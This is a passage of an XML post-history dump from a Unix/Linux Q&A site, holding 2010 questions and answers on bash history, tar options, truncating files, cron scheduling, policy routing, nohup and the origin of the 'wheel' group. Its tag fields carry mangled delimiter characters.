  <row Id="2403" PostHistoryTypeId="2" PostId="1258" RevisionGUID="cecc6c8e-a860-4761-9a95-8251dce04103" CreationDate="2010-08-25T16:49:07.073" UserId="689" Text="If your question is about accessing command history, then try this well-named command&#xD;&#xA;&#xD;&#xA;    history &#xD;&#xA;&#xD;&#xA;You can also try Ctrl + r, and start typing a command you're trying to remember that you've recently typed.  &#xD;&#xA;&#xD;&#xA;    (reverse-i-search)`cd ': cd mydir/data/&#xD;&#xA;&#xD;&#xA;Hit ESC to select the command or exit.  This works for me on SuSE at least; not sure about other distros." />
  <row Id="2404" PostHistoryTypeId="5" PostId="1203" RevisionGUID="6bf32cb9-8a66-4df5-b23a-1b8aa0d90a90" CreationDate="2010-08-25T16:51:18.493" UserId="84" Comment="forgot to change the title" Text="I've always been unlucky with regards to choosing a laptop that I can install Linux on. If it's not the wireless card that's not working out of the box, it's the video card. Also, I'm still not able to hibernate my computer, close the lid and resume where I left off at a later point. I always have to shut down the laptop or leave it on.&#xD;&#xA;&#xD;&#xA;Is there a laptop vendor that is considered to have the best trade off between performance and compatibility with Linux? If not, then what should I look for when buying a laptop?" />
  <row Id="2405" PostHistoryTypeId="5" PostId="1228" RevisionGUID="6f6c8877-cf7c-4e91-9203-3c5bcc4a1cab" CreationDate="2010-08-25T16:52:54.013" UserId="305" Comment="added 140 characters in body" Text="Use policy routing with marking packets. I'm not sure what format of configuration it is but you should check it in your distro.&#xD;&#xA;&#xD;&#xA;In commandline it should look like (not tested but should work)&#xD;&#xA;&#xD;&#xA;    iptables -A PREROUTING -t mangle -p tcp --dport 22 --set-mark 0x1 -j CONNMARK&#xD;&#xA;    cat &quot;200 ssh&quot; &gt;&gt; /etc/iproute2/rt_tables&#xD;&#xA;    ip rule add fwmark 1 table ssh&#xD;&#xA;    ip route add default dev eth0 via 192.168.1.2 table ssh&#xD;&#xA;&#xD;&#xA;**Edit:** lines&#xD;&#xA;&#xD;&#xA;    cat &quot;200 ssh&quot; &gt;&gt; /etc/iproute2/rt_tables&#xD;&#xA;&#xD;&#xA;Names routing table 200 by name &quot;ssh&quot;. It is preserved between boots.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2406" PostHistoryTypeId="2" PostId="1259" RevisionGUID="db39c7fe-9e1f-40b9-a956-0335e6a91efc" CreationDate="2010-08-25T16:53:42.250" UserId="1002" Text="You could also use X forwarding over ssh to run the occasional GUI tool (you don't need an X-server on the &quot;storage device&quot; then to run GUI apps)." />
  <row Id="2407" PostHistoryTypeId="4" PostId="1203" RevisionGUID="6bf32cb9-8a66-4df5-b23a-1b8aa0d90a90" CreationDate="2010-08-25T16:51:18.493" UserId="84" Comment="forgot to change the title" Text="Which laptop is most compatible with Linux?" />
  <row Id="2408" PostHistoryTypeId="5" PostId="1258" RevisionGUID="b27588e1-4c61-448d-a797-f7963001139e" CreationDate="2010-08-25T17:34:38.903" UserId="689" Comment="improved formatting with kbd tags" Text="If your question is about accessing command history, then try this well-named command&#xD;&#xA;&#xD;&#xA;    history &#xD;&#xA;&#xD;&#xA;You can also try &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;r&lt;/kbd&gt;, and start typing a command you're trying to remember that you've recently typed.  &#xD;&#xA;&#xD;&#xA;    (reverse-i-search)`cd ': cd mydir/data/&#xD;&#xA;&#xD;&#xA;Hit &lt;kbd&gt;ESC&lt;/kbd&gt; to select the command or exit.  This works for me on SuSE at least; not sure about other distros." />
  <row Id="2409" PostHistoryTypeId="2" PostId="1260" RevisionGUID="c2ffd436-26a9-4a1f-9b2a-e6d5efa2510e" CreationDate="2010-08-25T17:51:11.287" UserId="1186" Text="If you use bash i suggest `pushd` and `popd`. You can create a stack of directory and browse it rapidly. See this example:&#xD;&#xA;&#xD;&#xA;    luca@lucahome:~$ pushd /opt/google/chrome/resources/&#xD;&#xA;    /opt/google/chrome/resources ~&#xD;&#xA;    luca@lucahome:/opt/google/chrome/resources$ pushd /etc/cron.daily/&#xD;&#xA;    /etc/cron.daily /opt/google/chrome/resources ~&#xD;&#xA;    luca@lucahome:/etc/cron.daily$ pushd /opt/pac/lib/method/&#xD;&#xA;    /opt/pac/lib/method /etc/cron.daily /opt/google/chrome/resources ~&#xD;&#xA;    luca@lucahome:/opt/pac/lib/method$ popd&#xD;&#xA;    /etc/cron.daily /opt/google/chrome/resources ~&#xD;&#xA;    luca@lucahome:/etc/cron.daily$ popd&#xD;&#xA;    /opt/google/chrome/resources ~&#xD;&#xA;    luca@lucahome:/opt/google/chrome/resources$ popd&#xD;&#xA;    ~&#xD;&#xA;    luca@lucahome:~$" />
  <row Id="2410" PostHistoryTypeId="5" PostId="1188" RevisionGUID="d42a0849-6b5a-4aa9-b20d-08f9013182ae" CreationDate="2010-08-25T18:15:07.900" UserId="1131" Comment="grep -z issue" Text="First, always check what versions of find/xargs you actually use on your Mac-OSX box. Perhaps you expect BSD/GNU behavior/options and use GNU/BSD versions.&#xD;&#xA;&#xD;&#xA;Don't know if *open* supports multiple arguments. If not call xargs like this:&#xD;&#xA;&#xD;&#xA;    xargs -n 1 open&#xD;&#xA;&#xD;&#xA;(which means that xargs executes for every argument an extra open process)&#xD;&#xA;&#xD;&#xA;And keep in mind that find | xargs without -print0/-0 is expected to fail if your filenames/paths contain spaces.&#xD;&#xA;&#xD;&#xA;Aha, if you use something like&#xD;&#xA;&#xD;&#xA;    find -print0 | grep something | xargs -0 foo&#xD;&#xA;&#xD;&#xA;then grep is confused by all the \0 characters.&#xD;&#xA;&#xD;&#xA;GNU grep (at least) knows the -z option. Thus, which should work is:&#xD;&#xA;&#xD;&#xA;    find -print0 | grep -z something | xargs -0 foo&#xD;&#xA;&#xD;&#xA;Check what grep version you use via&#xD;&#xA;&#xD;&#xA;    grep --version&#xD;&#xA;&#xD;&#xA;Or check the man page of your grep for \0 (zero character) support.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2411" PostHistoryTypeId="2" PostId="1261" RevisionGUID="a21c4159-fe63-4bfa-9576-830ab4773d7f" CreationDate="2010-08-25T18:41:21.443" UserId="1174" Text="A better alternative to VNC is [NX][1], but it's a bit harder to setup.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nomachine.com/" />
  <row Id="2412" PostHistoryTypeId="2" PostId="1262" RevisionGUID="b8071beb-1d1c-4bb2-b1bb-e36a480bac93" CreationDate="2010-08-25T18:49:24.197" UserId="73" Text="The `wheel` group on *nix computers typically refers to the group with some sort of root-like access. I've heard that on some *nixes it's the group of users with the right to run `su`, but on Linux that seems to be anyone (although you need the root password, naturally). On Linux distros I've used it seems to be the group that by default has the right to use `sudo`; there's an entry in `sudoers` for them:&#xD;&#xA;&#xD;&#xA;    %wheel ALL=(ALL) ALL&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;But that's all tangential; my actual question is: **Why is this group called `wheel`**? I've heard miscellaneous explanations for it before, but don't know if any of them are correct. Does anyone know the actual history of the term?" />
  <row Id="2413" PostHistoryTypeId="1" PostId="1262" RevisionGUID="b8071beb-1d1c-4bb2-b1bb-e36a480bac93" CreationDate="2010-08-25T18:49:24.197" UserId="73" Text="Where did the &quot;wheel&quot; group get its name?" />
  <row Id="2414" PostHistoryTypeId="3" PostId="1262" RevisionGUID="b8071beb-1d1c-4bb2-b1bb-e36a480bac93" CreationDate="2010-08-25T18:49:24.197" UserId="73" Text="écommandöhistoryàésuàésudoàéwheelà" />
  <row Id="2415" PostHistoryTypeId="2" PostId="1263" RevisionGUID="986960b1-85e9-4fd8-a351-7d6c84c9b264" CreationDate="2010-08-25T19:02:59.083" UserDisplayName="David Nielsen" Text="I have a long wifi free journey ahead of me and I would like to continue to productively review bugs even without the ability to change them.&#xD;&#xA;&#xD;&#xA;Is there an easy way to cache all the pages generated from the query below?&#xD;&#xA;&#xD;&#xA;https://bugzilla.gnome.org/buglist.cgi?product=banshee&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_severity=blocker&amp;bug_severity=critical&amp;bug_severity=major&amp;bug_severity=normal&amp;bug_severity=minor&amp;bug_severity=trivial&amp;gnome_version=" />
  <row Id="2416" PostHistoryTypeId="1" PostId="1263" RevisionGUID="986960b1-85e9-4fd8-a351-7d6c84c9b264" CreationDate="2010-08-25T19:02:59.083" UserDisplayName="David Nielsen" Text="Caching bugzilla webpages for offline use" />
  <row Id="2417" PostHistoryTypeId="3" PostId="1263" RevisionGUID="986960b1-85e9-4fd8-a351-7d6c84c9b264" CreationDate="2010-08-25T19:02:59.083" UserDisplayName="David Nielsen" Text="écacheà" />
  <row Id="2418" PostHistoryTypeId="2" PostId="1264" RevisionGUID="5a3a6f6d-20ff-4150-bfc6-43d5ab892c35" CreationDate="2010-08-25T19:18:08.473" UserId="1002" Text="[Wikipedia](http://en.wikipedia.org/wiki/Wheel_%28Unix_term%29) knows it?" />
  <row Id="2419" PostHistoryTypeId="5" PostId="1179" RevisionGUID="36631d64-03e9-4254-ad8d-e7bf24f56f53" CreationDate="2010-08-25T19:28:38.360" UserId="102" Comment="some more info" Text="I normally use the nice and simple **mmv** utility for this usecase:&#xD;&#xA;&#xD;&#xA;    $ mmv &quot;image*.png&quot; &quot;#1.png&quot;&#xD;&#xA;will perform your task.&#xD;&#xA;&#xD;&#xA;The `#1` in the target pattern will be substituted with whatever matches the wildcard in the source pattern. This also works for several wildcards and can be used for example to change the order of parts of filenames. You can also easily do more complicated things like converting lower case to upper case letters.&#xD;&#xA;&#xD;&#xA;Make sure to protect the patterns from the shell by quoting." />
  <row Id="2420" PostHistoryTypeId="5" PostId="1264" RevisionGUID="4e53fa8e-189e-4b60-bfea-03765d6d2b51" CreationDate="2010-08-25T19:31:22.057" UserId="73" Comment="added 112 characters in body" Text="[Wikipedia](http://en.wikipedia.org/wiki/Wheel_%28Unix_term%29) knows it?&#xD;&#xA;&#xD;&#xA;&gt; The term is derived from the slang term *big wheel*, referring to a person with great power or influence&#xD;&#xA;" />
  <row Id="2421" PostHistoryTypeId="2" PostId="1265" RevisionGUID="a94199b6-5cb6-4949-b8e4-61c244d782cb" CreationDate="2010-08-25T19:36:20.093" UserId="732" Text="When it comes right down to it, isn't Darwin just a thin BSD layer on top of Mach 2.0?&#xD;&#xA;&#xD;&#xA;I used to use NeXTStep, I don't know how much current MacOSX departs from NeXTStep, but...&#xD;&#xA;&#xD;&#xA;Mach 2.0 offered a different set of abstractions at the kernel level:&#xD;&#xA;&#xD;&#xA;1. A &quot;task&quot;: that's an address space + a set of &quot;ports&quot;, possibly with a thread running in it.&#xD;&#xA;2. Threads.  This was the schedulable unit of execution.  A task (address space) could have more than 1 running in it.  I believe that Mach-O files (Mach's executable file format) could specify more than one thread at process run time: no main() function that started more Cthreads, the OS would start one.&#xD;&#xA;3. Ports.  These aren't like TCP or UDP ports.  They were typed, ordered streams of messages.  Rather RPC-like.  You made up a protocol spec file, then ran that through a compiler to get server and client side stubs, marshalling and unmarshalling routines, etc.&#xD;&#xA;4. User level memory pagers.  You could set up a task+thread to handle paging of other tasks' address spaces.&#xD;&#xA;&#xD;&#xA;The original CMU Mach folks used these abstractions to *emulate* BSD Unix processes, MS-DOS processes, and in a fabulous fit of freakiness, VMS tasks.  Each VMS task took 2 Mach tasks, plus many threads. Somebody used to sell a Mac OS (pre-OSX) emulator for NeXTStep that used the user-space-pagers to good effect.&#xD;&#xA;&#xD;&#xA;The old CMU Mach publications page:&#xD;&#xA;http://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/documents_top.html&#xD;&#xA;&#xD;&#xA;The VMS-on-Mach paper:&#xD;&#xA;http://www.sture.ch/vms/Usenix_VMS-on-Mach.pdf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2422" PostHistoryTypeId="2" PostId="1266" RevisionGUID="5918fdc0-6626-4645-82fe-05547b57f636" CreationDate="2010-08-25T19:41:41.000" UserId="991" Text="You can use the command `wget` with the option `--recursive`. But be aware that it could download a lot of sites :) . To limit the result you could also use the the argument `--domains=domain-list` if you only want sites from a specific domain (or several domains separated by commas) and the `--level=depth`-argument to specify the level of recursion.&#xD;&#xA;&#xD;&#xA;So, your command could look something like this:&#xD;&#xA;&#xD;&#xA;    wget --recursive --domains=bugzilla.gnome.org --level=5  https://bugzilla.gnom...&#xD;&#xA;&#xD;&#xA;But there's a lot more options to `wget`. Check out the [man page for wget][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/wget.1.html" />
  <row Id="2423" PostHistoryTypeId="2" PostId="1267" RevisionGUID="7350fd00-1bb8-465d-a568-b4b667a39803" CreationDate="2010-08-25T19:58:55.443" UserId="1113" Text="If I run a program with an infinite loop with nohup, will the program run indefinitely (until the machine is reset or until I manually terminate it)?" />
  <row Id="2424" PostHistoryTypeId="1" PostId="1267" RevisionGUID="7350fd00-1bb8-465d-a568-b4b667a39803" CreationDate="2010-08-25T19:58:55.443" UserId="1113" Text="Is nohup indefinite?" />
  <row Id="2425" PostHistoryTypeId="3" PostId="1267" RevisionGUID="7350fd00-1bb8-465d-a568-b4b667a39803" CreationDate="2010-08-25T19:58:55.443" UserId="1113" Text="écommandölineà" />
  <row Id="2426" PostHistoryTypeId="2" PostId="1268" RevisionGUID="bc91abcf-8c1e-4a98-a171-99aba2b1b405" CreationDate="2010-08-25T19:59:44.353" UserId="1232" Text="I have a FreeBSD hosted server that I like to be able to get to from anywhere. Normally I use SSH publickey to log in, or if I don't have my SSH private key available then I might use regular password over SSH. However, when logging in from an untrusted machine there's always the risk of a keylogger capturing my password as I type it.&#xD;&#xA;&#xD;&#xA;FreeBSD already has [support for OPIE](http://www.freebsd.org/doc/handbook/one-time-passwords.html) which is a one-time password scheme. This works great, but the one-time password is the *only* authentication needed. If I print out a list of one-time passwords to use later, then if I lose that list then that's all somebody needs.&#xD;&#xA;&#xD;&#xA;I'd like to set up the authentication so that I need a one-time password *plus* something I know (a password, except not my usual login password). I have a feeling the answer has something to do with [PAM](http://www.freebsd.org/doc/en/articles/pam/) (and `/etc/pam.d/sshd`) but I'm not certain on the details.&#xD;&#xA;&#xD;&#xA;How can I set up authentication where two methods are required?" />
  <row Id="2427" PostHistoryTypeId="1" PostId="1268" RevisionGUID="bc91abcf-8c1e-4a98-a171-99aba2b1b405" CreationDate="2010-08-25T19:59:44.353" UserId="1232" Text="How to set up two-factor authentication with OTP on FreeBSD?" />
  <row Id="2428" PostHistoryTypeId="3" PostId="1268" RevisionGUID="bc91abcf-8c1e-4a98-a171-99aba2b1b405" CreationDate="2010-08-25T19:59:44.353" UserId="1232" Text="éfreebsdàépamà" />
  <row Id="2429" PostHistoryTypeId="2" PostId="1269" RevisionGUID="cc0e13e4-3b2e-4a0d-90db-a95a39aee74d" CreationDate="2010-08-25T20:23:17.670" UserId="1233" Text="Nohup sets the default behavior of the HANGUP signal, which might get overriden by the application. Other signals from other processes with permission (root or same user) or bad behavior (seg faults, bus errors) can also cause program termination. Resource limitations (ulimit) can also end the program.&#xD;&#xA;&#xD;&#xA;Barring these, your infinite loop might well run a very long time.&#xD;&#xA;" />
  <row Id="2430" PostHistoryTypeId="2" PostId="1270" RevisionGUID="c5346164-d7a2-437e-b3c2-2d408a98c597" CreationDate="2010-08-25T20:25:57.327" UserId="1233" Text="It comes to us from BSD. This is verifiable. But where did it begin?&#xD;&#xA;&#xD;&#xA;Here is a non-verifiable explanation- BSD got it from the TOPS-20 O/S.&#xD;&#xA;&#xD;&#xA;http://lists.freebsd.org/pipermail/freebsd-chat/2003-December/001725.html" />
  <row Id="2431" PostHistoryTypeId="6" PostId="1267" RevisionGUID="6c5b2f51-09f4-4566-8fee-be2a18e9ee4e" CreationDate="2010-08-25T20:50:22.533" UserId="29" Comment="edited tags" Text="écommandölineàésignalsà" />
  <row Id="2432" PostHistoryTypeId="6" PostId="1267" RevisionGUID="4f0419c0-0c6f-4a1e-8e65-04719a3f8cb9" CreationDate="2010-08-25T20:50:49.973" UserId="29" Comment="edited tags" Text="écommandölineàéprocessàésignalsà" />
  <row Id="2433" PostHistoryTypeId="2" PostId="1271" RevisionGUID="829628d4-0add-43ac-8d89-5d83e1a17423" CreationDate="2010-08-25T20:51:18.923" UserId="1207" Text="The [Jargon File][1] has an answer which seems to agree with kmarsh.&#xD;&#xA;&#xD;&#xA;&gt; wheel: n. &#xD;&#xA; [from slang ‘big wheel’ for a powerful person] A person who has an&#xD;&#xA; active wheel bit...The traditional name of security group zero in BSD (to which the major system-internal users like root belong) is ‘wheel’...&#xD;&#xA;&#xD;&#xA;A wheel bit is also helpfully defined:&#xD;&#xA;&#xD;&#xA;&gt; A privilege bit that allows the possessor to perform some restricted operation on a timesharing system, such as read or write any file on the system regardless of protections, change or look at any address in the running monitor, crash or reload the system, and kill or create jobs and user accounts. The term was invented on the TENEX operating system, and carried over to TOPS-20, XEROX-IFS, and others. The state of being in a privileged logon is sometimes called wheel mode. This term entered the Unix culture from TWENEX in the mid-1980s and has been gaining popularity there (esp. at university sites). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catb.org/jargon/html/&#xD;&#xA;" />
  <row Id="2434" PostHistoryTypeId="6" PostId="1268" RevisionGUID="0cf2a619-af6c-41e4-9c9d-97d09caf8581" CreationDate="2010-08-25T20:51:58.827" UserId="29" Comment="edited tags" Text="ésecurityàéfreebsdàésshàépasswordàépamà" />
  <row Id="2435" PostHistoryTypeId="2" PostId="1272" RevisionGUID="a4747f52-9e79-46ea-8ceb-a31a715c1baf" CreationDate="2010-08-25T21:04:10.157" UserId="29" Text="Checkout [App::SD][1] on your local [CPAN][2]. &#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt; SD is a peer to peer bug tracking system which we've built to share with just about anything. Contributors have helped us write adaptors for RT, Hiveminder, Trac, GitHub, Google Code, and Redmine. You can extend SD to sync to other bug tracking tools by writing a small bit of code. If you can help make SD work better with your bug tracker, drop us a line.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;*update* I just realized that list doesn't yet include Bugzilla... sorry. but I'm gonna leave the answer up in the event that it does in the future, or someone wants to use if for offline caching of another bugtracker, or maybe you want to add bugzilla support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://syncwith.us/&#xD;&#xA;  [2]: http://search.cpan.org/" />
  <row Id="2436" PostHistoryTypeId="2" PostId="1273" RevisionGUID="987b579a-115f-4f94-b05a-193f4e11efed" CreationDate="2010-08-25T23:32:24.597" UserId="281" Text="I'm using [screen][1] on debian lenny, and I would like to use the `-R` option. From `man screen`:&#xD;&#xA;&#xD;&#xA;       -R   attempts  to  resume  the  youngest  (in  terms  of creation time)&#xD;&#xA;            detached screen session it finds.  If successful, all  other  com‐&#xD;&#xA;            mand-line  options  are  ignored.   If no detached session exists,&#xD;&#xA;            starts a new session using the specified options, just  as  if  -R&#xD;&#xA;            had  not been specified.&#xD;&#xA;&#xD;&#xA;However, when I run `screen -R` it does not actually attach to the youngest detached session. Instead, it complains that there are &quot;several suitable screens&quot; and that I need to choose one of them.&#xD;&#xA;&#xD;&#xA;Am I missing something? How do I make this work as advertised?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/screen/" />
  <row Id="2437" PostHistoryTypeId="1" PostId="1273" RevisionGUID="987b579a-115f-4f94-b05a-193f4e11efed" CreationDate="2010-08-25T23:32:24.597" UserId="281" Text="How to make screen -R attach to the youngest detached session?" />
  <row Id="2438" PostHistoryTypeId="3" PostId="1273" RevisionGUID="987b579a-115f-4f94-b05a-193f4e11efed" CreationDate="2010-08-25T23:32:24.597" UserId="281" Text="éscreenà" />
  <row Id="2441" PostHistoryTypeId="2" PostId="1275" RevisionGUID="0c419775-1f1b-42cb-b107-104b94f3adfc" CreationDate="2010-08-26T00:09:22.897" UserId="1237" Text="As others have said, [Wayland](http://groups.google.com/group/wayland-display-server) is the main X.org alternative that is currently being developed. Right now, it's nowhere near being usable for normal tasks. However, there have been several exciting new developments.&#xD;&#xA;&#xD;&#xA;Earlier today, Kristian Høgsberg (Wayland's author) committed the code changes to Mesa that are necessary to run Wayland to the master Mesa branch (they were previously in his personal repository). This should make it easier to use Wayland, because, eventually, you should be able to use your distro's Mesa package rather than compiling it yourself. (Mesa is by far the largest package that needs to be built to run Wayland.)&#xD;&#xA;&#xD;&#xA;Recently, Kristian posted a screenshot of his initial support for using Gtk+ in Wayland:&#xD;&#xA;&#xD;&#xA;![Gtk+ running on Wayland](http://people.freedesktop.org/~krh/wayland-gtk.png)&#xD;&#xA;&#xD;&#xA;There is also the start of a [port of Qt to Wayland](http://cgit.freedesktop.org/~jbarnes/qt-wayland/), too." />
  <row Id="2442" PostHistoryTypeId="2" PostId="1276" RevisionGUID="07a57c69-0696-4814-8909-0f92b6169dff" CreationDate="2010-08-26T01:00:52.823" UserId="85" Text="this has always worked for me:&#xD;&#xA;&#xD;&#xA;    mkdir thisismyfolder&#xD;&#xA;    cd $_&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2443" PostHistoryTypeId="2" PostId="1277" RevisionGUID="c560ce77-b39c-477f-887b-2a5d8e4861e6" CreationDate="2010-08-26T02:33:29.457" UserId="1071" Text="Picking up a tip from another thread, if you put:&#xD;&#xA;&#xD;&#xA;    bind '&quot;\e[A&quot;':history-search-backward&#xD;&#xA;    bind '&quot;\e[B&quot;':history-search-forward&#xD;&#xA;&#xD;&#xA;in your .bashrc then, you can start typing something from your history, and then press the up arrow, and then rather than going through your history item by item, it'll skip right to previous entries that begin with what you've already typed.&#xD;&#xA;&#xD;&#xA;I guess this doesn't help much with the particular example given in the question, but it is one thing that helps me access history on the fly." />
  <row Id="2444" PostHistoryTypeId="5" PostId="1231" RevisionGUID="584f8d53-a1a5-4666-9fbe-69ad24bc60c6" CreationDate="2010-08-26T07:19:34.787" UserId="1002" Comment="added 457 characters in body; added 2 characters in body" Text="One possibility is to add your own udev rule for this partition, that overrides the default ones.  On Ubuntu 10.04 `/lib/udev/rules.d/80-udisks.rules` has some default rules that make udisks ignore some partitions (e.g. partitions that are known to be rescue partitions etc.) which might be an inspiration...&#xD;&#xA;&#xD;&#xA;On Ubuntu 10.04 your own rules should go into `/etc/udev/rules.d/` (see the README there).&#xD;&#xA;&#xD;&#xA;After some experimenting, the following seems to work:&#xD;&#xA;&#xD;&#xA;    ENV{ID_FS_UUID}==&quot;6b7f8268-c6a2-4265-9563-78f808b3c1cd&quot;, ENV{UDISKS_PRESENTATION_HIDE}:=&quot;1&quot;&#xD;&#xA;&#xD;&#xA;Put that line in a \*.rules file that has a name that lexically follows the rules file that contains the normal udisk-related rules.  Easiest to do that is to start it with a higher number (so I used 81 to make sure it overrides the rules in 80-\*).  Of course use whatever UUID your partition has.&#xD;&#xA;&#xD;&#xA;On another distro those things might be located differently, but the basics should be the same..." />
  <row Id="2445" PostHistoryTypeId="2" PostId="1278" RevisionGUID="8ff645fc-4d80-4961-b3b6-fabc6f3b9ce7" CreationDate="2010-08-26T08:39:21.897" UserId="1245" Text="What About pressing `ATL+.` together.So you can iterate through all the previous command" />
  <row Id="2446" PostHistoryTypeId="2" PostId="1279" RevisionGUID="71b9eeb7-079f-4c91-a857-1b2816bda9bb" CreationDate="2010-08-26T09:42:15.103" UserId="57" Text="I have few files. size &gt; 1 GB each.   &#xD;&#xA;I need to remove last few bytes from the files.&#xD;&#xA;How can I do it ?  &#xD;&#xA;I am on HP-UX." />
  <row Id="2447" PostHistoryTypeId="1" PostId="1279" RevisionGUID="71b9eeb7-079f-4c91-a857-1b2816bda9bb" CreationDate="2010-08-26T09:42:15.103" UserId="57" Text="how can I edit large file?" />
  <row Id="2448" PostHistoryTypeId="3" PostId="1279" RevisionGUID="71b9eeb7-079f-4c91-a857-1b2816bda9bb" CreationDate="2010-08-26T09:42:15.103" UserId="57" Text="élargeöfilesà" />
  <row Id="2449" PostHistoryTypeId="2" PostId="1280" RevisionGUID="9a8046ee-8ca3-4e77-8479-e25d3d32c54d" CreationDate="2010-08-26T10:00:26.007" UserId="625" Text="When using tar I always include -f in the parameters but I have no idea why.&#xD;&#xA;&#xD;&#xA;I looked up the man and it said;&#xD;&#xA;&#xD;&#xA;&gt; -f, --file [HOSTNAME:]F&#xD;&#xA;&gt; &#xD;&#xA;&gt; use archive file or device F (default&#xD;&#xA;&gt; &quot;-&quot;, meaning stdin/stdout)&#xD;&#xA;&#xD;&#xA;But to be honest I have no idea what that means.  Can anyone shed any light on it?" />
  <row Id="2450" PostHistoryTypeId="1" PostId="1280" RevisionGUID="9a8046ee-8ca3-4e77-8479-e25d3d32c54d" CreationDate="2010-08-26T10:00:26.007" UserId="625" Text="What does the -f parameter do in the tar command." />
  <row Id="2451" PostHistoryTypeId="3" PostId="1280" RevisionGUID="9a8046ee-8ca3-4e77-8479-e25d3d32c54d" CreationDate="2010-08-26T10:00:26.007" UserId="625" Text="étarà" />
  <row Id="2452" PostHistoryTypeId="2" PostId="1281" RevisionGUID="fc4311b6-8a8b-4d56-9eb3-ae35273693f4" CreationDate="2010-08-26T10:14:00.840" UserId="411" Text="It lets you specify the file or device you're going to be working with. Either creating, updating or extracting things from it depending on other supplied flags.&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    # Create a tar file with the contents of somepath/&#xD;&#xA;    tar -cvf filename.tar somepath/&#xD;&#xA;    &#xD;&#xA;    # Extract the tar file.&#xD;&#xA;    tar -xvf filename.tar" />
  <row Id="2455" PostHistoryTypeId="5" PostId="1234" RevisionGUID="5fad8b11-5b99-46bf-b1d8-b8cd827c06e8" CreationDate="2010-08-26T10:17:32.520" UserId="678" Comment="Edited because of the first comment." Text="Can please someone with comment rights correct the posting to:&#xD;&#xA;&#xD;&#xA;    00 06 1-7,15-21 * * LANG=C test `date +\%a` = Thu &amp;&amp; /path/to/script&#xD;&#xA;&#xD;&#xA;Otherwise it will fail depending on the locale you are using.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2456" PostHistoryTypeId="2" PostId="1283" RevisionGUID="ed46d7e6-463e-49aa-9f2e-8fc966fccaee" CreationDate="2010-08-26T10:19:16.280" UserId="678" Text="&quot;-f&quot; tells tar that the next parameter is the file name of the archive or STDOUT if it is &quot;-&quot;." />
  <row Id="2457" PostHistoryTypeId="2" PostId="1284" RevisionGUID="e3b8bc34-8b62-495c-8291-cc9131a9b8d9" CreationDate="2010-08-26T10:19:37.900" UserId="1173" Text="Quite simple. If you oppress the `-f` parameter, output is passed to stdout:&#xD;&#xA;&#xD;&#xA;    gammy@denice:/tmp/demo$ tar -c a b c&#xD;&#xA;    a0000644000175000017500000000000011435437117010223 0ustar  gammygammyb0000644000175000017500000000000011435437117010224 0ustar  gammygammyc0000644000175000017500000000000011435437117010225 0ustar  gammygammygammy@denice:/tmp/demo$ ls&#xD;&#xA;    a  b  c&#xD;&#xA;    gammy@denice:/tmp/demo$ &#xD;&#xA;...what a mess!&#xD;&#xA;&#xD;&#xA;The `-f`-parameter (as you quoted) expects a filename (and optionally a hostname), hence the first argument after it is the output filename:&#xD;&#xA;&#xD;&#xA;    gammy@denice:/tmp/demo$ tar -cf output.tar a b c&#xD;&#xA;    gammy@denice:/tmp/demo$ ls&#xD;&#xA;    a  b  c  output.tar&#xD;&#xA;    gammy@denice:/tmp/demo$ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="2458" PostHistoryTypeId="2" PostId="1285" RevisionGUID="804422b3-f54f-458a-9f86-99dcd093bd7d" CreationDate="2010-08-26T10:24:31.910" UserId="1131" Text="You can use dd for example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    dd if=yourfile of=outname bs=4k count=thefirstX4kb&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2459" PostHistoryTypeId="5" PostId="1279" RevisionGUID="dcd77806-4316-4799-b000-b3822f85fe08" CreationDate="2010-08-26T10:27:49.900" UserId="57" Comment="added 61 characters in body" Text="I have few files. size &gt; 1 GB each.   &#xD;&#xA;I need to remove last few bytes from the files.&#xD;&#xA;How can I do it ?  &#xD;&#xA;I am on HP-UX.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;I prefer to edit file in place to save disk space." />
  <row Id="2460" PostHistoryTypeId="2" PostId="1286" RevisionGUID="4f64dcbb-92ca-476e-afcc-07bd89cdeab0" CreationDate="2010-08-26T10:53:30.147" UserId="305" Text="Cut 2 kilobytes from end of file:&#xD;&#xA;&#xD;&#xA;    truncate -s-2K file" />
  <row Id="2461" PostHistoryTypeId="2" PostId="1287" RevisionGUID="7ab3d168-1941-4479-9815-11fb6136b7c2" CreationDate="2010-08-26T11:02:00.013" UserDisplayName="Roger Pate" Text="    0 0 * * Thu bash -c '(($(date +%s) / 86400 % 14))' &amp;&amp; your-script&#xD;&#xA;&#xD;&#xA;I used bash to do my math because I'm lazy; switch that to whatever you like.  I take advantage of January 1, 1970 being a Thursday, otherwise you'd have to apply an offset too.&#xD;&#xA;&#xD;&#xA;Quick check:&#xD;&#xA;&#xD;&#xA;    function check {&#xD;&#xA;      when=$(date --date=&quot;$1 $(($RANDOM % 24)):$(($RANDOM % 60))&quot; --utc)&#xD;&#xA;      echo -n &quot;$when: &quot;&#xD;&#xA;      (($(date +%s --date=&quot;$when&quot;) / 86400 % 14)) &amp;&amp; echo run || echo skip&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    for start in &quot;2010-12-02&quot; &quot;2011-12-01&quot;; do&#xD;&#xA;      for x in $(seq 0 12); do&#xD;&#xA;        check &quot;$start + $(($x * 7)) days&quot;&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;    